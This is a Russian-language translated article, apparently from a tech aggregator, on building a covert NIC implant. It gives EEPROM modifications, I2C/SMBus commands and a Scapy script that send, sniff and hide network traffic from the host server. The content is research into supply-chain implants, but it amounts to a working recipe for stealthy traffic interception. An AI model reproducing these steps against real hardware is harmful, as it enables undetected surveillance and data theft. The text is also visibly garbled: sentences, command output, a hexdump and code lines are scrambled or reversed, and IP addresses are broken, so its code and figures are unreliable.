Главная » Железо » [Перевод] Делаем собственный имплант для электроники

[Перевод] Делаем собственный имплант для электроники

После неё многие люди делились идеями по поводу возможности создания подобных имплантов (их предполагаемого размера, возможностей или способа их обнаружения). История от Bloomberg о том, что на материнских платах якобы были установлены некие импланты [Китайцы использовали микрочип, чтобы контролировать американские компьютеры], не прошла незамеченной.

Вот что конкретно подогрело наш интерес:
Через несколько дней журнал Bloomberg выпустил статью с дополнительными доказательствами.

Легальный сервер отправлял сообщения одним способом, имплант – другим, но казалось, что весь трафик происходит от одного доверенного сервера.

Существуют способы взаимодействия с сетевой картой прямо с материнской платы. Несколько людей указали на то, что можно поиграться с BMC (Baseboard Management Controller – компонент, разрешающий доступ к серверу помимо основного канала), что позволит импланту контролировать BMC и получать доступ к сетевой карте. Но как это работает на практике? Давайте посмотрим, сможем ли мы это воспроизвести.

Начальная позиция

Посмотрим на наличие возможных интерфейсов между NIC (сетевой платой) и BMC. Один из основных протоколов для работы по выделенному каналу – это интеллектуальный интерфейс управления платформой IPMI.

IPMI

Википедия говорит, что IPMI — «интеллектуальный интерфейс управления платформой, предназначенный для автономного мониторинга и управления функциями, встроенными непосредственно в аппаратное и микропрограммное обеспечения серверных платформ. Ключевые характеристики IPMI — мониторинг, восстановление функций управления, журналирование и инвентаризация, которые доступны независимо от процессора, BIOS'a и операционной системы. Функции управления платформой могут быть доступны, даже если система находится в выключенном состоянии». Весьма похоже на то, что нам нужно.

На следующей блок-схеме показан возможный путь реализации проекта:

NC-SI – это современная замена SMBus, поддерживающая увеличенную скорость передачи данных и другие новые возможности. IPMI на самом деле определяет два Sideband-канала для NIC: SMBus и NC-SI. Так что пока остановимся на SMBus. Проблема в том, что ей требуется больше сигналов (порядка 10), и в её работу гораздо сложнее вмешаться в случае, когда мы работаем с имплантом.

SMBus

SMBus (System Management Bus) — последовательный протокол обмена данными для устройств питания. Односторонняя простая двухпроводная шина, обеспечивающая несложные коммуникации. Чаще всего используется в компьютерах для связи материнской платы с источником питания и отправки инструкций вида вкл/выкл. Основан на шине I2C, обычно использующейся в микроконтроллерах. Интерфейсу нужно всего два сигнала (тактовая частота и данные), и третий сигнал — прерывание. Идеально подходящий для игр с имплантом протокол.

Первый контакт

Приходится проявлять смекалку, не имея доступа к материнской плате с BMC. Изучая технические характеристики серверных материнок, мы обнаружили, что некоторые из них используют чип Intel 82574L. Он, согласно документации, обеспечивает «SMBus advanced pass-through interface» – как раз то, что нужно. А что лучше всего, он бывает в формате карт PCI-E.

Доступ к SMBus

Мы сходили в магазин, и теперь у нас есть карточки Intel EXPI9301CTBLK с чипом 82574L. Что теперь?

К счастью, все они оказались доступными на контактных площадках. В документации можно отследить SMB_DAT и SMB_ALRT_N. Вроде бы всё достаточно легко.

Слева вверху – EEPROM, справа вверху — коннектор для SMBus [ALRT|CLK|DAT].
NIC PCB. Обратите внимание, что R39 и R40 отпаяны, что запрещает доступ к SMBus для коннектора PCIe.

Документация говорит, что SMBus включается только при установке определённого битового регистра. Мы подключили зонд I2C и просканировали SMBus, но ничего полезного не считали. Пришло время копнуть глубже. Это значение загружается с EEPROM.

Включаем доступ к SMBus

Нам снова помогает документация. Доступ к SMBus определяется значением регистра, загружаемого с NIC EEPROM. К счастью, EEPROM можно прочесть при помощи flashrom. Сбросив содержимое EEPROM, мы можем проанализировать и изменить значения:

0-87-g9891b75-dirty on Linux 4. > ./flashrom -p buspirate_spi:dev=/dev/hydrabus --read /tmp/flash.dump
flashrom p1. 12-arch1-1-ARCH (x86_64)
flashrom is free software, get the source code at https://flashrom.org
18.

done. Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).
Found Winbond flash chip "W25X40" (512 kB, SPI) on buspirate_spi.
Reading flash...

1 документации), видно, что нам надо изменить два значения: Судя по NVM map (глава 6.

  • Init Control Word 2[MNGM] (Datasheet chapter 6.1.1.6)
  • Compatibility[ASF SMBus Connected] (Datasheet chapter 6.1.2.1.1)
  • Compatibility[SMBus Connected] (Datasheet chapter 6.1.2.1.1)

Нужно только учесть, что в EEPROM данные хранятся в формате little endian.

В главе 6. После этого нам надо ещё разобраться со значением Checksum. 2. 1. Немного Python поможет нам подсчитать правильную контрольную сумму: 11 указано, что сумма всех слов в диапазоне [0x00-0x40] должна равняться 0xBABA.

import struct
data = open('/tmp/flash.mod', 'rb').read()
tot = 0
for i in range(0x3f):
tot = (tot + struct.unpack('<H',data[2*i:(2*i)+2])[0]) & 0xffff

print("Checksum word must be : " + hex(0xbaba-tot))
#Checksum word must be : 0x9efb

И вот, наконец, все наши изменения для EEPROM:

. < 00000000: 6805 ca89 b22e 2004 46f7 8010 ffff ffff h..... 0. F.......
> 00000000: 6805 ca89 b22e 3014 46f7 8010 ffff ffff h..... Z.
> 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5adc i...k......... F.......
< 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5a9c i...k......... Z.

0.....
> 00000070: ffff ffff ffff ffff ffff 3001 ffff fb9e .......... < 00000070: ffff ffff ffff ffff ffff 3001 ffff 0bef .......... 0.....

После внесения изменений и прошивки EEPROM мы подсоединили I2C зонд и:

i2c1> scan
Device found at address 0x49
i2c1>

Адрес I2C кодируется в семи битах, требуемый нам адрес получается, как 0x49 << 1 = 0x92.

Мы можем отправлять команды в NIC: Теперь у нас есть рабочая схема для нашего импланта.

Получение информации

Как вы могли догадаться, мы продолжили читать документацию и отправлять специально подготовленные команды на NIC для проверки того, что всё работает, как ожидалось.

4. В документации описано всё, что нужно знать о формате транзакций, в главе 8. Разница только в том, что нам не надо подсчитывать PEC (контрольная сумма для SMBus, которая подсчитывается для каждого пакета). 4. К примеру, мы можем отправить команду CMD по адресу SLAVE, используя следующую последовательность:

[START] [@SLAVE] [CMD] ( [START] [@SLAVE] [READ_DATA] ) [STOP]

[START] и [STOP] – это условия START и STOP, определяемые протоколом I2C.

8. К примеру, команда на чтение MAC-адреса (описанная в главе 8. 3) будет 0xD4. 2. Отправляем команду в SMBus в режиме I2C:

[START] [0x92] [0xD4] [START] [0x92] [read 8 bytes] [STOP]

При переводе в команды Hydrabus это будет:

<== Read [length] [header]68 05 CA 89 B2 2E | h..... i2c1> [ 0x92 0xd4 [ 0x92 hd:2 hd:6 ]I2C START
WRITE: 0x92 ACK 0xD4 ACK <== [NIC address] [command]I2C START <== Switch state
WRITE: 0x92 ACK <== [NIC address]07 D4 | .. <== Read MAC address bytes
NACK
I2C STOP

И, да, мы получаем наш MAC-адрес!

Делаем имплант

Теперь, зная, как можно общаться с NIC, посмотрим, как можно использовать этот канал для кражи сетевого трафика и отправки данных по сети. В главе 8 документации описано всё, что нужно для этого.

Отправка пакетов

Описана в главах 8.6 и 8.8.1. Мы можем просто создать фрейм Ethernet при помощи команд. Вот пример скрипта для Hydrabus или Bus Pirate для отправки пакета:

import serial
import struct
from scapy.all import *

Serial('/dev/ttyACM0',115200) ser = serial.

def send_frame(pkt):
# Define the frame size
pktlen = struct.pack("B", len(pkt))

# Define the data length to be sent
fulllen = struct.pack(">h", len(pkt)+3)

Send frame + SMBus header, receive 0
ser.write('\x08'+fulllen+'\x00\x00')
ser.write("\x92\xc4"+pktlen+pkt) # I2C write-then-read.

# If packet has been sent successfully
if ser.read(1) == '\x01':
print "Send OK"
else:
print "Error sending"
ser.write('\x00')
ser.write('\x00')
ser.write('\x0F\n')
quit()

# Open Hydrabus in binary mode
for i in xrange(20):
ser.write("\x00")
if "BBIO1" not in ser.read(5):
print "Could not get into binary mode"
quit()

# Switch to I2C mode
ser.write('\x02')
if "I2C1" not in ser.read(4):
print "Cannot set I2C mode"
quit()

31. #Create the frame to send
p = Ether(src="11:22:33:44:55:66", dst="ff:ff:ff:ff:ff:ff") / IP(src="10. 82", dst="10. 32. 32. 31. 80")/ICMP()

#Send the frame
send_frame(str(p))

# Return to main binary mode
ser.write('\x00')
#reset to console mode
ser.write('\x0F\n')

После выполнения скрипта можно увидеть пакет, идущий от машины с имплантом, и, что самое интересное, сам сервер вообще не видит этого пакета:


Tcpdump с машины атакующего слева, сервера – справа

Чтение пакетов

Фильтрация

Чтобы узнать, какие фреймы должны пойти в SMBus, NIC использует управляющие фильтры. Они сопоставляют трафик из сети, и либо перенаправляют его на PCIe, либо на SMBus, либо одновременно и туда и туда. С нашей точки зрения это даёт нам большую гибкость:

  • Можно отслеживать трафик, поставив фильтр, который будет его проверять и перенаправлять на PCIe и SMBus.
  • Можно заставить трафик исчезнуть, направив его только на SMBus.
  • Можно создать скрытый канал, который не будет виден серверу с имплантом.

Что самое интересное, фильтр можно настроить на отслеживание различных элементов фрейма:

  • UDP/TCP port
  • VLAN
  • IPv4 – IPv6
  • MAC address

(Полный список представлен в главе 8.4.2.1)

4. Доступно семь независимых фильтров MDEF[0:6], и каждый из них можно настроить на перенаправление соответствующего трафика на PCIe поверх SMBus при помощи регистра MANC2H (подробности в главе 8. 3).

Реализация

Настроить всё правильно оказалось довольно сложно, мы пробовали множество различных комбинаций, чтобы заставить фильтр работать. К счастью, примечание к приложению от Intel дало нам больше деталей по поводу запуска фильтров нужным нам способом.

Используя наш I2C-зонд, мы можем настроить всё это четырьмя командами:

// Глобальный запрет фильтров
[ 0x92 0xca 0x01 0x40 ]// Настроить MDEF[0] на получение фреймов, идущих к UDP/664 и UDP/623
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x0c 0x00 ]// Настроить MANC2H на запрет перенаправления к ОС
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]// Включить фильтрацию (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]

8. Как описано в главе 8. 3, необходимо установить несколько битов для того, чтобы разрешить получение данных и для отправки фреймов обратно на наш имплант. 1. 4. Мы выбрали SMBus alert, поскольку другие модели позволяют сетевой карте осуществлять асинхронные запросы к SMBus (детали в главе 8. 5).

Чтение фреймов

Поскольку мы использовали метод SMBus alert, нам нужно было ожидать отключения сигнала SMB_ALRT_N перед отправкой команды Receive TCO Packet. Если бы мы ждали слишком долго, пакет был бы отвергнут NIC.

Схема выглядит так: Чтобы просто проиллюстрировать схему, мы будем отправлять фреймы периодически и отправлять команды на чтение – просто, чтобы подтвердить, что этот принцип работает.

  • У сервера с имплантом установлены фильтры, отслеживающие трафик с UDP / 623 (глава 3.6.1.2).
  • Имплант симулируется при помощи Hydrabus.
  • Другой сервер отправляет пакеты, попадающие под фильтр, при помощи скрипта Scapy:

from scapy.all import *
p=Ether()/IP(dst="10.31.32.81")/UDP(dport=0x26f)/"MALICIOUS PAYLOAD"
while(1):sendp(p)

Получается нечто интересное:

Справа tcpdump, работающий на сервере с имплантом, не показывает входящих фреймов. Слева SMBus читает фрейм, данные фрейма показаны внизу.

Ретрансляция фреймов

Меняя регистр MANC2H, возможно сделать так, чтобы трафик, который отправляется на SMBus и PCIe, корректно отображался на сервере. К примеру, давайте создадим перехватывающий фильтр, реагирующий на трафик UDP/161 (SNMP) и отправляющий его на SMBus и PCIe:

// Глобальный запрет фильтров
[ 0x92 0xca 0x01 0x40 ]// Создать флекс-фильтр 0 на порту 161 (0xa1)
[ 0x92 0xcc 0x04 0x63 0x00 0x00 0xa1 ]// Настроить MDEF[0] на получение трафика, совпадающего с флекс-фильтром 0
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x10 0x00 ]// Настроить MANC2H на разрешение перенаправления трафика MDEF[0] на PCIe
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]// Включить фильтрацию (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]

При этом сервер отвечает на запрос – а значит, пакет был правильно перенаправлен на SMBus и PCIe: Включив фильтры, мы можем отправить SNMP-запрос на сервер с имплантом и увидеть пакет, который перехватил имплант.

Внизу — SNMP-запрос дошёл до сервера.
Вверху – перехваченный SNMP-запрос с импланта.

Заключения

Мы описали возможный метод внедрения небольшого и недорогого микроконтроллера в качестве импланта на уровне NIC. Такому импланту нужны, по меньшей мере, четыре контакта (Vcc, GND, CLK, DAT), и он может управлять картой сервера. Среди его возможностей:

  • Прослушивание входящего сетевого трафика на сервер.
  • Получение команд из сети без ведома сервера.
  • Передача данных по сети без ведома сервера.

В нашем примере для простоты в качестве интерфейса для I2C/SMBus использовался Hydrabus, но это можно будет сделать так же легко и на небольшом микроконтроллере, например, ATtiny85 (он размером примерно с EEPROM для NIC).

В зависимости от схемы материнской платы это устройство может быть единственным из доступных, и тогда взаимодействие с ОС сервера будет невозможно. Однако в реальной жизни доступ у такого импланта был бы только к SMBus. В случае, когда требуется полный контроль над ОС, лучше всего будет изменить код BMC, поскольку у него и так уже есть доступ ко всем интересным шинам, и он не оставляет видимых следов на материнке.

Кроме того, имплант способен перехватывать только трафик, приходящий из сети. Ещё один недостаток такого импланта состоит в том, что он может передавать данные на скорости порядка 100 Кб/с, чего недостаточно для полного изучения трафика. В результате данное решение кажется неэффективным по сравнению с теми усилиями, которые требуются для его внедрения в оборудование цели.


Оставить комментарий

Ваш email нигде не будет показан
Обязательные для заполнения поля помечены *

*

x

Ещё Hi-Tech Интересное!

[Перевод] Аппликативные регулярные выражения, как свободный альтернативный функтор

В своём блоге in Code этот автор достаточно легким языком рассказывает о математической сути красивых и изящных функциональных решений для практических задач. Предлагаю вашему вниманию перевод замечательной свежей статьи Джастина Ле. В этой статье подробно разбирается пример того, как перенос ...

Радиотелескоп помог разгадать загадку образования молний

Группа европейских учёных во главе со специалистами института Karlsruhe Institute of Technology (KIT) смогла пролить свет на детальные процессы образования грозового разряда и использовала для этого очень необычный инструмент ― радиотелескоп. Несмотря на, казалось бы, давно изученное такое природное явление, ...